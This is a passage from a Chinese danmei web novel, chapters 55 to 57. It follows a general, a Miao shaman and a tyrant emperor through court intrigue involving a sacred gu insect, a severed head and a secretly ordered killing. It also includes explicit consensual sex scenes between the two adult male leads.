祁雁微微眯起眼来,指尖在轮椅扶手上轻轻摩挲,忽然他身体前倾,审视的目光落在对方身上:“一个小太监竟能有如此觉悟——谁教你的?” 第55章 第 55 章 都听夫人的。 “没人教我, ”明秋并不抬头,“一点拙见,还望将军莫怪。” 祁雁沉默良久:“起来吧。” 这小太监有备而来, 谅他也不会说实话。 “谢将军。” “不过,没人能保证你所图之事一定会成功, 既然选择了留下,就再没有退路可言。” 明秋恭顺躬身:“奴婢只愿侍奉将军与夫人, 除此之外,别无所求。” 祁雁深深看了他一眼:“下去吧。” “是。” 待明秋走了,祁雁才转向苗霜:“你的蛊没动静,他真没撒谎?可我总觉得他背后有人指点。” “我给他下的蛊只能验他是否忠心,验不了他撒没撒谎,”苗霜抱着胳膊,懒洋洋道,“你要想验他撒没撒谎也行,那得用另外一种蛊。” 祁雁思索片刻:“倒也没那个必要, 如果他背后真的有人,那人通过他接近我们, 一定会主动告诉我们他的目的,现在明秋不说,可见时候未到。” “将军真是沉得住气,不愧是被大刑伺候了三个月一声不吭的人,这份忍耐力无人能及。” 祁雁有些莫名:“好端端的,突然挖苦我做甚?” 苗霜笑吟吟道:“这哪是挖苦, 夸你呢。” 祁雁怎么听这话也不像夸奖,还想为自己辩解一下,苗霜却做了个“停”的手势:“好了, 你爱怎么样怎么样,我不掺和,反正想当皇帝的人不是我,有个人伺候我就行,其他的我也没那么好奇。” 他已经帮祁雁治好了腿,又帮他金蝉脱壳,仁至义尽,不论明秋背后的人是谁,都是冲着祁雁来的,和他苗霜无关。 他看原著看得囫囵吞枣,半本书都撕了,也记不住那些错综复杂的人物关系,不过凭他仅有的一点印象,明秋应该是友非敌。 季渊残暴不仁,对他有意见的人太多了,祁雁又名声在外,纵然被打为逆贼满门抄斩,但聪明人都知道他是被冤枉的,只有那些被蒙蔽的傻子才信这罪名是真,譬如京都那群脑子喂狗只会跟风的愚民。 只要祁雁站出来当这个领头羊,自然会有无数人支持他,他只需要顺应民意率兵攻进晏安城,斩下那暴君的头颅,自会得万民拥戴。 而他苗霜的作用,也差不多到此为止了。 等到祁雁站着走出苗寨的那天,就是他该退场的时候。 他终究不过是某人证道路上的垫脚石,不论泊雁仙尊,又或祁雁将军,属于祁雁的那个结局里注定不会有他,他早已做好这样的觉悟了。 祁雁听着他的语气,总觉得这话哪里怪怪的,不知是不是他的错觉,苗霜好像突然对他冷淡了许多。 明明昨天还很主动地为他庆祝……虽然他知道这人素来喜怒无常,却也不至于毫无缘由吧。 难道是因为刚刚明秋那番话? 为民之心……似乎每次一提到和百姓相关的话题,苗霜就会变得特别不高兴。 苍生道…… 难道苗霜和泊雁仙尊的矛盾根源,就是因为泊雁仙尊修苍生道? 虽然不知道这苍生道究竟是个什么东西,但根据这几个字也能猜出个大概,想必那泊雁仙尊是为了天下苍生而放弃了苗霜喽? 哈,果然是个道貌岸然的伪君子。 亏他之前还以为他是什么了不起的人物,原来只是个连身边人都护不住的废物,这样的人活该被苗霜记恨。 只是…… 祁雁伸手按住自己的心口,突然传来的绞痛让他微微弯下腰去,一度疼到脸色发白,直不起身。 苗霜奇怪地看着他:“怎么了?” 祁雁摇了摇头,疼得说不出话来,他自己也不知道是怎么回事,这样的情况之前也出现过几次,但他一直没放在心上,毕竟经脉断尽后他的身体就大不如前了,又时常被蛊虫折腾,有这样那样的疼痛都习以为常。 苗霜把指尖搭在他手腕上,给他号了号脉,感觉他只是心跳有点快:“也没什么事啊。” 绞痛逐渐过去,祁雁呼出一口气,总算是缓了过来:“无碍。” “我看你还是别喝酒了,虽是药酒,但毕竟是酒,难免和一些药物犯冲。” 苗霜说着,又小声嘟囔了句:“不过也不至于吧……” 而且昨天喝的时候明明没事,没道理今天出问题。 早知道剩的那点就不给祁雁喝了,他一个人喝完多好。 祁雁表示没意见:“都听夫人的。” * 快马一路北上,在平坦的官道上绝尘疾奔。 连日奔波已让明冬疲惫不堪,但他眼里的神采却比平常更亮,地平线上遥遥出现的城池正是晏安,那繁华如梦的帝都,无数人努力一辈子都抵达不了的地方,终于近在眼前了。 他从马背上跳下来,牵马进了城门,一刻也不敢耽搁,直入皇宫复命,焦急地等待片刻,果然得到了皇帝召见他的消息。 明冬喜出望外,跟着那引路的太监一路来到寝殿,朱红色的宫墙在余光中飞速倒退,皇宫里第一批感受到春意的植物已吐出新芽,嫩绿与鹅黄悄上枝头,他却也无瑕欣赏。 他虽然入宫多年,却还是第一次这样近距离地面见陛下,以前偶有几次遇到,也只是远远地看上一眼,从没像今天这般近。 那人虽只是懒散地倚在坐榻上,却不怒自威,让人没由来想要臣服,明冬跪地磕头:“奴婢明冬叩见陛下!” 两个宫女正在帮季渊揉肩捶腿,季渊一拂手让她们退下,看向跪在下面的人:“看你这风尘仆仆的,想必一路没少辛苦,起来吧。” 明冬吸了吸鼻子,几乎眼含热泪:“谢陛下!” 他站起身,双手托举盛装圣蛊的盒子:“明冬幸不辱命,护送苗疆圣蛊返京,现将圣蛊呈交陛下。” 普通的木头盒子安静躺在他掌心,乍一看并不起眼,季渊一下子坐直身体,眯着眼打量片刻,示意身边的人去接。 在他身旁服侍的太监立刻上前,接过那盒子,鼓捣了一番,打开了盒子上的锁。 盒盖缓缓开启,里面的东西呈现在季渊眼前——盒子里铺着一些叫不上名字的药草,有被啃食的痕迹,除此以外却空无一物,并不见所谓圣蛊的踪迹。 他不禁面色一变,猛地一拍榻桌:“大胆!那祁雁给朕一个空盒子,你也给朕一个空盒子,你是在戏耍于朕?!” 明冬闻言,吓得扑通跪地:“不、不可能啊陛下!奴婢亲眼看到圣蛊被大巫封进去!那之后盒子一直在奴婢手里,再未打开,不可能是空的啊!” “你的意思是,朕在信口胡说喽?” 明冬冷汗唰地冒了出来:“不……不是……奴婢不是那个意思!” “陛下息怒,”帮季渊打开盒子的太监来到他身边,将东西递得更近了些,“这盒子里应该确实有东西。” 季渊的神色稍有缓和:“哦?” “奴婢可否向陛下讨些朱砂?” 季渊点了点头,一挥手,示意手下的人去取,很快朱砂便取来了,那太监用指尖沾了些朱砂粉末,轻轻抖进盒子里。 季渊凑近了瞧,看到少许朱砂落在了盒子边缘、药材上,还有些却好像浮在空气中,甚至在缓缓移动。 他不禁面露讶色:“这……” “听闻苗疆圣蛊神异,自然不可用寻常眼光看待,奴婢认为,这圣蛊或许是隐去了身形。” “隐去身形……”季渊摸了摸下巴,“那如何让它现身呢?” “朱砂有驱虫杀虫之效,少量使用,或许能让这圣蛊现身,又不至于伤害到它。” 果然如他所料,话音才落,被朱砂沾染到的“空气”就开始慢慢泛白,渐渐向周围扩散,直至连成一片。 一只通体玉色的蛊虫出现在了盒子里,半透明的虫翅上翅脉清晰可辨,那一点鲜红的朱砂落在它身上,宛如玉中血沁。 蛊虫似乎感觉到了那些朱砂,不太舒服地振翅抖动,朱砂粉末簌簌而落,竟不沾一毫。 光线落在振动的虫翅间,折射出七色的光晕,流光溢彩,整只蛊虫仿若琉璃般绚烂剔透,又如玉般素雅。 “果然是圣蛊,不愧是圣蛊!”季渊抚掌大笑,脸上是难以掩饰的狂喜,“好,好啊!快盖上,别让圣蛊跑了。” 盒盖关闭,将那抹绚丽的白封入其中,季渊站起身来,看着还跪在地上的小太监,竟亲自把他扶了起来,为他拍去身上的尘土:“你叫……明冬?好,干得好!你护送圣蛊有功,朕一定好好赏你!” 明冬破涕为笑:“谢陛下!” “不过……”季渊绕着他缓缓踱起了步,“怎么只有你一个人回来,大巫为何没同你一起?” “啊,”明冬想起之前明秋的交代,急忙从袖中掏出一个信封,“这是大巫给陛下的信,让奴婢代为呈交。” 季渊接过信来,随手撕去封口。 信纸上的字实在不怎么好看,只能说凑合能看,季渊看完了信,唇边浮现出一抹冷笑,指尖用力掐紧了信纸:“好个大巫。” 明冬不知道那信里写了什么,不过看陛下的反应,一定是些让陛下不满意的话。 正在此时,寝殿外突然传来急切的呼喊声,一个太监匆匆忙忙跑了进来,跑得上气不接下气:“陛下!陛下!黔州刺史加急发来的文书!” 季渊瞪了他一眼,接过那文书翻看,唇边笑意更深,几乎有些咬牙切齿:“来的可真是时候。” 苗霜前脚刚在信里说他们在苗寨抓到一个南照奸细,奸细杀了祁雁畏罪潜逃,他身为大巫却让此贼逍遥法外,有不察之失,恳请戴罪立功,留在苗寨协助刺史将此贼缉拿归案。 这后脚黔州的文书就到了,黔州刺史也说自己有不察之失,已发布通缉令通缉南照奸细,恳请准许他戴罪立功,将此贼缉拿归案。 这两人一唱一和,理由充分证据确凿,竟让人挑不出什么错来。 季渊气得直磨牙,将那份文书扔给明冬:“朕问你,这里面的内容可属实?” 明冬匆匆看过,点头道:“属实,奴婢亲眼所见,那南照奸细把刀捅进了祁将军的心脏!还好大巫反应快,不然圣蛊……” 季渊怒道:“祁雁身为武将,就算朕废了他的武功,他也不是手无缚鸡之力的书生,怎会随随便便被一个奸细所杀?!” 明冬被吓了一跳,一缩脖子:“是……是大巫为了取圣蛊,怕祁将军挣扎,提前给他下了迷药,没想到我们去取药材和虫罐的功夫,那奸细竟挣脱了绳索,潜入房间对祁将军动了手……” 他说着再次跪倒在地:“陛下恕罪!” “罢了,”季渊叹口气,“祁雁的尸体在何处?” “尸身在取圣蛊时损毁了,不过,奴婢带回了他的头颅。” 明冬看向身后,帮他提着盒子的太监这才意识到盒子里装了什么,吓得大叫了一声,盒子瞬间脱手,砸在寝殿奢华洁净的玉石地面上。 砰的一声,盒盖被摔开来,里面的人头滚落而出,微微的腐臭味在大殿内飘散。 远处侍候的太监们看到那颗人头,吓得纷纷后退,有人竟当场干呕起来,场面一时有些混乱。 季渊捂住鼻子,颇为嫌弃地看了一眼,那人头滚落在地,正面朝着他,盒子里塞了防腐药材,加上明冬一路快马加鞭,人头腐坏得并不算严重,还是能一眼认出那是祁雁的脸。 他摆了摆手,两个暗卫悄然出现,季渊命令道:“赶紧拿下去,仔细检验。” 暗卫提上人头,领命而去。 太监们在寝殿内燃起熏香,很快驱散了那股臭味,季渊回到坐榻上,单手撑住了头。 他身边的太监轻轻帮他按揉着太阳穴,寂静的寝殿内落针可闻,过了好一会儿,季渊才再次开口:“之前你给朕传信,说祝公公死了,尸骨呢?” “尸骨被那大巫的蛊虫……吃了。” “唉,”季渊长叹一声,“祝公公陪伴朕多年,朕本想着让他最后替朕办件事,等他回来,就准他出宫去,衣锦还乡,谁成想他竟一去不返,连尸骨都没留下,朕想给他风光大葬,都无计可施啊!” 明冬闻言,小心翼翼地抬头看了看他,季渊正痛心疾首,直拍自己的大腿,他身旁的太监温声劝慰:“人死不能复生,还请陛下保重龙体,切莫忧心过度。” “陛下,”明冬膝行着往前挪了几步,壮着胆子开口,“那苗疆大巫手段诡异残忍,虽帮陛下取回圣蛊,却也是杀害祝公公的元凶,奴婢亲眼见他的蛊虫吃光了祝公公的尸体,还亲手分了祁将军的尸,此等心狠手辣之辈,若是留着……未免也是祸患。” “哦?”季渊看向身旁的太监,握住他的手轻轻摩挲,“青书,你觉得呢?” 被唤作青书的太监恭顺低头:“奴婢一介宦奴,不敢妄议此事。” “怕什么,这里是朕的寝殿,又不是朝堂,朕赦你无罪。” 青书这才开口:“奴婢倒是认为,那苗疆大巫虽有一身奇诡异术,却对陛下十分忠诚,不光献出蛊王血,又将苗疆至宝拱手相送,可见他对陛下您并无保留。” 季渊点了点头:“你说的也有道理。” “既然大巫志在苗疆,而非在中原,何尝不放手让他去做呢?大巫倨傲,想必看不上南照小国,不想效忠于南照国君,才背叛款首投诚于陛下您,泱泱华夏,只有大雍皇帝能得到圣蛊,能让大巫臣服。” “既如此,那大巫就算是自己人,若南照再犯我大雍边境,那些苗民肯定第一个不干,就让他们去和南照周旋,恰好弥补黔地边防薄弱,何乐不为?” 明冬听着他的话,不免一阵心惊。 此人是谁?竟能在陛下面前如此坦然自若地谈论边防大事?以前的祝公公都不见得有这待遇。 青书……他竟完全没听过这个名字,看对方的年纪比他年长,应该早于他进宫才对啊。 他很有可能是陛下身边新晋的红人,可祝公公明明才死几个月……难道在他们出发之前,这个人就已经在陛下身边了? 所以,陛下该不会就是为了这个青书,才把祝公公派去苗疆吧?如果真是这样,那岂不是说明,祝公公的死本就是陛下的授意,那大巫只是顺水推舟?难怪他敢如此肆意妄为。 ……糟了。 他刚刚还说了大巫的坏话,明秋明明叮嘱过他不要多嘴,他怎么能一时脑热就给忘了呢! 明冬脸色煞白,周身冷得如坠冰窟,他猛地磕头至地:“奴婢该死!奴婢不该妄加议论,请陛下责罚!” “你们一个两个的,何必都这么谨小慎微,朕难道是什么会吃人的凶神恶鬼吗?”季渊摆了摆手,示意他赶紧起来,“都说了,这里只是朕的寝殿,你护送圣蛊有功,朕岂会因为这一言半句责罚你?” 听他这么说,明冬才长舒一口气,挣扎着爬起身来,感觉腿都软了:“谢陛下。” “好了,带他下去领赏,明冬一路辛苦,你们可要好生照料——明冬,日后你就来朕身边做事吧。”季渊吩咐道。 明冬一惊,而后一喜,他磕头谢恩:“谢陛下!奴婢愿为陛下效犬马之劳!” 引路的太监带着他下去,明冬转身的瞬间,季渊却冲那太监做了个抹脖子的动作。 那太监微微颔首,两人一前一后离开了寝殿。 片刻后,明冬惊惶的声音在殿外响起:“你们干什么……啊!” 刀刃快速划过皮肉,震惊与错愕凝固在那张年轻的脸上,鲜血染红了青石路面,又迅速被清理干净,仿佛什么都没发生过。 青书给季渊重新斟上热茶。 季渊合上那份碍眼的文书,颇有些头疼,他万万没想到自己竟被苗霜摆了一道,他原本打算借祁雁的死讯收拾了那些苗人,不想这杀人凶手竟成了个不知道从哪跑出来的南照奸细。 文书一路送进皇宫,送到他面前,该走的流程都走过了,不论这事是真是假,都已经板上钉钉,甚至那黔州刺史还是他自己人……也真是个蠢货,居然能被苗霜利用。 青书帮他按摩着肩膀:“陛下何事忧愁?” 季渊抬起头来。 不过,青书所言也很有道理,那群桀骜不驯的苗民就是块难啃的骨头,硬去啃没什么好处,不如就把他们放在那里,让南照去啃。 反正据小太监传回的书信说,苗寨那几个和款首穿一条裤子的长老都被大巫杀了,大巫看不上南照小国应该是真的,这样的话他就无需再担心,还能多一份助力。 季渊伸手握上青书的手,抚摸他的手背:“无事。” 青书面色微僵,但仅仅一瞬,又迅速恢复正常:“那陛下是……” 季渊拿起那个装着圣蛊的盒子,放在光线下细细端详:“大巫在信中说,圣蛊生效时,其他所有的蛊都会失效,他不确定蛊王血是否也在其列——你说,朕可要赌这一把,用这圣蛊得万民之心?” 青书帮他按摩的动作微停:“大巫据实以告,倒甚是坦诚。” “至于圣蛊……”他凑近季渊耳边,轻声道,“陛下不已经得万民之心了吗?这圣蛊对您来说,又有何用?” 季渊一顿,随即放声大笑:“哈哈……哈哈哈哈!!” 皇帝的笑声在寝殿内回荡,待他笑够了,之前离开的暗卫才现身出来。 季渊瞥他一眼:“如何了?” 暗卫单膝跪地,抱拳道:“已仔细查验,那颗人头确为祁雁无疑。” “好,好!”季渊唇边笑意扩大,忍不住拍了两下掌,他忽然起身,快步向前走了几步,“传令下去,自即日起取消宵禁三天——” 他张开双臂:“朕,与民同乐!” 第56章 第 56 章 纠缠得难舍难分 茶盏忽然自手中滑落, 砰的一声摔在地上。 明秋倏然惊醒,他看着摔得粉碎的茶盏,心中似乎若有所感。 沉默良久, 他蹲下身去捡地上的碎瓷片,锋利的瓷片划破了手指, 他却浑然不觉,一点点将所有的碎瓷全部拾起, 拢在掌心。 掌心被割出许许多多的细小伤口,他把碎瓷片拿出去扔掉,正巧碰上了苗霜,苗霜瞥了他的手一眼:“你今天怎么一直心不在焉的?” 明秋摇了摇头:“没什么。” “算算日子,明冬应该到京都了吧,”即便他不说,苗霜也能猜到他在想什么,抱着胳膊,“怎么, 亲手把你的朋友推进火坑,后悔了?” “不后悔, ”明秋回答得斩钉截铁,“只是有些……难过。” 苗霜没再多问,随手抛给他一瓶伤药:“处理处理你的伤,明冬不在了,活儿得你一个人干,我可不会因为你手上有伤就给你放假。” 明秋接住那个小药瓶, 目光微动:“谢夫人。” 苗霜转身离开了,来到院中,就看到祁雁正乐此不疲地进行着今日份的复健。 许多天过去, 他也渐渐重新适应了行走,今天更是试图尝试脱拐,可不知道为什么,总觉得浑身不得劲,怎么走都走不顺畅。 苗霜站在远处打量了他一会儿,嘲笑道:“将军年近三十的人了,走路居然还顺拐。” 祁雁:“……” 他十分无奈地转头看向对方,叹了口气,拿过靠在旁边的拐杖倚住。 苗霜不依不饶:“怎么,还嫌丢人?” “我只是怕等下摔了,夫人又要笑话我不如蹒跚学步的稚童,”祁雁道,“不如夫人教教我,究竟怎样能恢复得快一点?” 苗霜思索片刻,随手折了段树枝,来到他面前,用那树枝在他跟前比了比:“抬。” 祁雁不解:“抬什么?” “抬腿,提膝。” “……这么高?” 苗霜笑眯眯地瞥他一眼,祁雁只得照做,然而正如他所料,无论他怎么努力也抬不到对方规定的高度。 “我看你还是别想着一蹴而就了,慢慢练吧,你的腿筋虽然已经长好,但想要完全恢复腿部的力量需要很长时间。” 祁雁皱了皱眉:“可当时你给我治手,并没有这么困难。” “那是因为你的手筋没断多久就又接回去了,虽然不灵活但也还是能动,手臂的肌肉并没萎缩,但你的腿不一样。” 苗霜不是很耐心地给他解释:“还有,我用蛊虫给你治伤,蛊虫也会成为你身体的一部分,你手腕上用的蛊虫少,所以你感觉得并不明显,而你腿上使用了大量的蛊虫,你要控制自己的腿,同时也要控制它们。” 他说着用树枝敲了敲他的大腿:“每只蛊虫都是一个个体,它们和你的筋腱相融,用自己的身体为你修补损伤,它们对你来说是外来之物,让你的身体排斥,害你发烧,但它们对你来说也不可或缺,没有它们你就别想再走路——你要学会和它们共存,将军。” 祁雁低下头,看了看自己的腿。 苗霜:“但只是共存还不够,你还要驾驭它们,让它们为你所用,你总说你的腿不听使唤,就是因为你没有驯服这些蛊虫,你想往前走,它们却想往后退,你当然会同手同脚,稳不住步伐。” “那要怎么才能驯服这些蛊虫?”祁雁问。 “我只能告诉你,你要发自内心地接纳它们,也要接纳必须依靠它们的自己,不要把它们当成敌人,更不要当成工具,它是你的伙伴,是你的助力,又或者就是你本身。” 苗霜手里的树枝向上,轻轻点在他心口,似笑非笑道:“什么时候你能接受你和蛊虫没有区别,它们就什么时候和你同心一意。” 祁雁慢慢握住了那段树枝,漆黑眼眸中有些很深的情绪,以致那神色显得十分复杂:“大巫也是如此吗?将蛊虫当做自己,将自己当做蛊虫,才能真正地驱使它们。” 苗霜脸上的笑容忽然淡了。 他注视着对方,眼神很冷,红色的虹膜犹如凝固的血:“其实一开始,大巫甚至不叫大巫,它有个更加贴切的名字。” “什么?” “人蛊。” “……” “总有些意志薄弱的大巫,虽然在蛊王的噬咬下存活,却一辈子也没能找回自己的神志,就此沦为一具听话的傀儡,主人让干什么就干什么,就像是被人操控的蛊虫,只不过这只虫子更厉害些。” 这话实在让人不适,祁雁眉头紧锁,手中微微用力,一不小心折断了树枝上的细小的枝杈。 这点响动让苗霜垂眼,想把树枝抽回来,却没抽动:“我跟你说过吧,大巫的样貌会因蛊王而改变,当那些长得奇形怪状的大巫出现在你眼前,你也会怀疑他们和虫子之间是否还存在界限。” 他干脆撒手不要了树枝,后退一步:“我们这种人,说好听点叫神选者,说难听点叫倒霉蛋,一辈子与虫共生,死时也会化虫而去,从没有一位大巫留下过尸首,按族里的说法,虫是与神沟通的媒介,蛊王选中大巫的过程是神的点化,而大巫死时化虫而去,也是应神灵感召,再度回到神的身边。” “当然了,这些话我一句都不信,你感兴趣可以去问圣子,我只知道大巫不得善终,化虫而去不过是蛊虫的反噬而已,死都死了,还能指望虫子不吃尸体?” 他说着,又有些幸灾乐祸:“至于将军你么,被我用了这么多蛊虫,也算是半个大巫了,神收不收你我不知道,但虫子一定等着收你,你若能驯服它们,说不定它们大发慈悲放过你,在你身体里静静陪你死去,你若驯服不了它们,那等你死了,它们会立刻破体而出,把你咬得不成人样。” 他上下打量着对方,啧啧着摇头:“这么一具完美的皮囊,万人之上,九五之尊,死时却变成一堆虫子……我都不知道后世会怎么编排你,将军,你怕不怕?” “有什么好怕的,”祁雁脸上没什么表情,“死都死了,还要管自己死得体面不体面吗,尸身若能喂饱蛊虫,也算是为众生做些贡献,积善行德了。” 苗霜:“…………” 无趣。 他沉下脸来,转头就走。 “夫人同我说这些,究竟是想让我怕,还是不想让我怕?”祁雁撑着拐杖跟了上来,“还是说,你只是想跟我表达,我们是一类人——” “我和你才不是一类人。” “你都说我是半个大巫了,怎么不是一类人呢?” “……别跟着我。” 祁雁偏要跟着他,可惜走得没他快,紧赶慢赶才追着他上了楼。 苗霜听着那拐杖拄在地上的声音笃笃而来,实在没忍住回头怒道:“你到底有完没……” 话音未落,他就被追上来的人拉住手腕,一把拽去。 苗霜猝不及防,结结实实撞在了他怀里,对方的手臂顺势环上他的腰,祁雁的体温从四面八方覆盖上来,将他牢牢困在其中,挣扎不得。 所有的不满在这一瞬间哑了火,紧接着祁雁的气息又降临在更近的地方,嘴唇覆上他的唇瓣,轻轻啃咬磨碾,似在催促又像乞求,想要闯入他的领地。 这个吻实在来得很是突然,又很不讲道理,可偏偏苗霜就喜欢不讲道理,姓祁的那张嘴就该用来吻他,而不是讲大道理。 于是他仰头迎上了他的吻,伸手回抱他,又嫌他拄着的拐杖太碍事,有心无意地那么一推,拐杖便离开了祁雁的身体,倒在地上。 失去了支撑,祁雁眉头不禁微微一跳,但此时此刻他显然顾不上去管那些无关紧要的事,箍在苗霜腰间的手臂再次收紧,就拿他替代了倒下的拐杖。 唇舌激烈的纠缠间呼吸也变得滚烫起来,祁雁一只手顺着他的脊背一路向上,直至扣住他的后颈,苗霜却也不甘示弱,紧紧勾住了他的脖子。 这股力道带偏了祁雁本就不稳的重心,让他不由自主地向前倾倒,他艰难想要撑住,苗霜却变本加厉,猛地倒退了一步。 勉强维系的平衡彻底被打破,两人双双摔倒在地,祁雁下意识地用胳膊护住了他,先磕到地板上的成了他的手,疼痛让他忍不住皱眉,低头看向身下的人,对方脸上却洋溢着得逞的笑意。 祁雁有些恼火,膝盖狠狠顶进了对方腿间,苗霜喉咙里滚出一声意味不明的“嗯”,本能地蜷起双腿,紧紧缠住了他的腰。 手指顺着祁雁的衣摆探入,贴上他胸前,原本烙在那里的疤痕已摸不出太多痕迹,温热的体温捂着他的手心,心跳声顺着掌根传入骨骼,与他的脉搏共振。 祁雁一把擒住他不安分的手,从他唇角一直啃咬到耳根,又迫使他偏过头去,轻咬他颈侧青色的脉络。 致命部位落在别人口中,苗霜肉眼可见地兴奋了起来,他努力抽回自己的手,扣着祁雁的脖子往下按,试图让他咬得更狠些。 犬齿在皮肤上制造出深深的凹痕,白皙的皮肤瞬间红了一片,祁雁头脑混乱中还在克制着力道,不想真的把他咬出血了,可绞在他腰间的腿却越来越紧,让他几乎情难自制。 两人在地上纠缠得难舍难分,正在这时,外面传来一道稚嫩又激动的声音:“阿那!我刚去采药,抓到好大一只山鸡!我们晚上——” 向久噔噔噔地上了楼,当他看到屋子里的景象,瞬间呆住了,磕巴道:“炖、炖鸡……” 第57章 第 57 章 将军竟也学会了以色侍人…… 一时间气氛变得十分诡异, 地上的两个不约而同地停下动作,空气中的暧昧在四目相对中渐渐冷却,消弭无形。 祁雁回过头看了向久一眼, 眼神中似有杀意,躺在他身下的苗霜也从他手臂的空隙间探头, 脸上满是被打扰好事的不爽。 向久被这么两道视线一盯,登时吓得一哆嗦, 一个没抓住,活蹦乱跳的山鸡就挣脱了他的手,扑棱着翅膀要逃。 向久回过神来,急忙去抓逃跑的山鸡:“别跑!” 惊慌失措的山鸡在屋子里横冲直撞,向久手忙脚乱地跟在后面追,撞翻了椅子,碰倒了盆架,乒乒乓乓地响作一团,那叫一个鸡飞狗跳。 几根鸡毛飘到空中, 一根落在了祁雁头上,他面无表情地从苗霜身上下来, 苗霜拍了拍衣服站起身,笑得咬牙切齿:“圣、子!” 向久吓得双手抱头:“啊啊啊阿那!” 慌不择路的山鸡竟一头撞在了祁雁身上,祁雁眼疾手快一把将它按住,直接拧断了鸡的脖子,速度之快,很难说不带私人恩怨。 鸡抽搐了两下便不动了, 他顺手丢给向久:“赶紧拿去让厨子放血。” “哦……哦……”向久唯唯诺诺地接过了鸡,拎着鸡翅膀跑出房间,赶紧远离了这个是非之地。 祁雁捡起掉在地上的拐杖, 已经完全没心情了,他撑身站起,对苗霜道:“下次记得关门。” “关门他也会敲的,和直接闯进来没太大区别。”苗霜看着粘在对方头发上的鸡毛,忍俊不禁,伸手帮他摘了下来。 这山鸡的羽毛还挺好看,十分鲜艳。 好事被打断,他索性离开了房间,去院子里喂蛊虫,恰好向久也送完鸡回来,跟在他身边,欲言又止。 苗霜抬眼瞄他:“有话就说。” “阿那,刚刚我进去的时候,你和祁将军……在、在干嘛啊?”向久小小声问。 “圣子不是都看见了,怎么还明知故问。” “所以……是真的吗?”向久睁大眼睛,满脸的难以置信,攥拳将两根拇指对在一起,轻轻碰了碰,“真的在那个那个?” 苗霜挑了下眉,不置可否。 “可是,阿那不是说不喜欢他吗?为什么要和他亲亲?” “谁规定不喜欢就不能亲了?”苗霜反问。 这一句话把向久弄懵了,一脸呆滞地愣了半晌:“不喜欢为什么要亲啊?族里人都是喜欢才会亲的。” 苗霜:“他们是他们,我是我,我为什么要和他们一样?难道族规规定了不喜欢就不能亲?还是神灵会给我惩罚?” “这……倒也不是……”向久找不出话来反驳,急得直挠头,他总觉得哪里不对,又说不上哪里不对。 “你还小,不明白的事太多了,没必要非得搞懂,不过我警告你,下次要是再敢随随便便闯进我的房间,我给你布置双倍的功课。” “啊?”向久傻了眼,连连摆手,“不不不,不会了,绝对不会了!我不要做双倍功课!” 他惊叫着跑远了,可见人的探知欲在功课面前不值一提。 厨子很快收拾好了那只鸡,给他们做了一道野鸡炖蘑菇,炖了满满一大锅。 “这山里跑的鸡吃起来就是不一样,比自家养的鸡香多了,”苗霜边吃边发表评价,“不过圣子下次还是不要乱抓鸡了,采药就好好采药,少分心去干别的。” “阿那吃着我抓的鸡,还要数落我,”向久显然很不高兴,狠狠啃着鸡腿泄愤,“我采药的时候它跑出来捣乱,叨坏了我好几株药草,我当然要抓它了。” 祁雁吐掉嘴里的鸡骨头,问道:“之前你不还在给受伤的小动物治病吗,既然想治好它们,怎么又要吃它们?” “治和吃又不冲突,”向久振振有词,“给它们治病,是为了更好地吃。” 祁雁:“……” 看来苗霜这个名师是带出高徒来了。 他摇了摇头,不再言语,这野山鸡味道十分鲜美,再配上各种蘑菇,更是鲜上加鲜。 不知不觉就多吃了半碗饭,向久也吃撑了,拍着肚子上楼睡觉。 夜色渐浓,两人洗了个澡就上了床,现在屋子里没有第三个人了,可以继续进行白天被打断的事。 苗霜身上的浴袍松松垮垮,一扯就开,祁雁顺着他颈侧一路吻下,牙齿在他胸前轻轻磨碾,细密的刺痛带来无法形容的酸麻,很快就被他咬得充血,殷红挺立,被白皙的肌肤衬得愈发诱人。 苗霜伸手去推他,却又没用几分力气,那抗拒更像是勾|引,他浑身都懒洋洋的,不想动弹。 祁雁灼热的呼吸喷洒在他皮肤上,热度和湿意不断向下,待到苗霜终于觉察出不对,再次睁眼,才发现对方已经把脸埋在了他腿间。 他脸上现出一抹讶异,低声问:“你干什么?” 祁雁没有回答,只缓缓凑近,他明显感觉到对方的身体轻颤了一下,似是没料到他会做这种事,身体微微绷紧。 苗霜低头看向跪在他身前的人,不知是该高兴还是该震惊,他还记得当初的祁雁一脸嫌弃,好像受了奇耻大辱,而现在居然主动。 那口腔里的温度实在是太烫了,紧密地将他包裹,让他全部的注意力都放在了那里,忍不住呼出一口气:“将军突然做这种事,难道是打算杀我了?” 祁雁停了下来,不得不将他吐出才能开口说话,嗓音有些发哑:“不杀你就不能做了?想报答你帮我治伤的恩情,不行吗?” 苗霜笑了。 “你憋了这么久就憋出这种‘报答’?”他伸手摸了摸他的脸,猩红的眼眸灼灼注视他,“想不到将军你,也学会了以色侍人。” 这四个字怎么听怎么别扭,祁雁皱了皱眉,觉得自己应该还没沦落至此,不过他也顾不上那么多了,吻了吻对方的手心:“现在我能做的只有这么多,其他的以后再说。” 他用牙齿轻轻啃咬,舌尖扫过那个小孔,即便是苗霜也有些不堪承受,手指扣在他脑后,用力堵住了他的嘴。 再没有声音能从他嘴里吐出,苗霜看着他,觉得这张嘴除了吻他,用来做这种事似乎也不错。 那热度让他浑身躁动,血液顺着四肢百骸激烈地冲向某一点,爆炸般迸发出来,以至于让他脑中一片空白。 待到脑子里的白光过去,他才看到祁雁滚动喉结,将他的东西一滴不落地咽了下去。 苗霜震惊了一秒,神色怪异道:“好吃吗?” 祁雁咳嗽两声,嗓子哑得更厉害了:“不好吃。” “那你还咽?” 祁雁却什么也没说,捞起他的腿架在了自己肩膀上,倾身向前。 苗霜没有反抗,他这个人素来大方,既然对方愿意取悦他,那他也允许他做得过分一些,比如让他背对,又或是放一宿不拿出来。 但今天两个都没有,祁雁或许是真心想要报答,一切皆遵循他的喜好,苗霜只感觉自己被高高地顶上云端,一下又一下,甚至隔着肚子看到对方的形状,深深浅浅起起伏伏。 他不禁双眼有些失神,喉咙里的声音变得不由自主,双手紧紧攥住了身下的床单。 楼上,向久正惊恐地用被子蒙住头。 他本来都要睡着了,楼下却突然传来动静,这吊脚楼哪里都好,就是动作一大,木头就会嘎吱嘎吱响,于是他刚积蓄起来的瞌睡瞬间惊飞,一脸害怕地捂住了自己的耳朵。 虽然这样的动静以前也听到过几次,可他一直都没想太多,直到今天撞见阿那和祁将军滚在地上接吻,他才意识到这动静到底是什么。 他们!不会是在!做羞羞的事情吧! 向久紧张得直啃自己的手指甲,可手一从耳边拿开,顿时听得更清楚了,还间或伴随着苗霜意味不明的哼哼。 他从没听阿那发出过这种声音,也无法形容那鼻音中表达的内涵,似乎舒服又不舒服。 